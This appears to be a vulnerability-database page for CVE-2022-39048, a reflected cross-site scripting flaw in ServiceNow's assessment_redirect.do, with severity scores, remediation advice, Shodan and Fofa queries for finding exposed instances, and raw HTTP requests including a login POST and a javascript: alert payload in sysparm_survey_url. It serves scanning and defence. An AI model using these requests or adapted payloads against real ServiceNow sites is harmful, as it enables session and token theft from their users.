| Title | ServiceNow - Cross-site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Authenticated attackers can craft malicious URLs with JavaScript in the sysparm_survey_url parameter that executes when victims click the link, potentially stealing CSRF tokens, session cookies, or conducting phishing attacks to compromise ServiceNow authenticated users. |
| Remediation | Update ServiceNow to the latest patched version that properly sanitizes the sysparm_survey_url parameter in assessment_redirect.do. |
| CVSS Score | 6.1 |
| EPSS Score | 0.20219 |
| CVE ID | CVE-2022-39048 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"ServiceNow"http.title:"servicenow"http.favicon.hash:1701804003 |
| Fofa Query | title="servicenow"icon_hash=1701804003 |
| Tags | cve cve2022 xss servicenow authenticated vuln |
A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user’s browser or session to attack other systems.
GET /navpage.do HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /login.do HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
sysparm_ck=cdUzgv&user_name=c4aejQ&user_password=A1MSis¬_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39048.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-39048.pcap
N/AN/A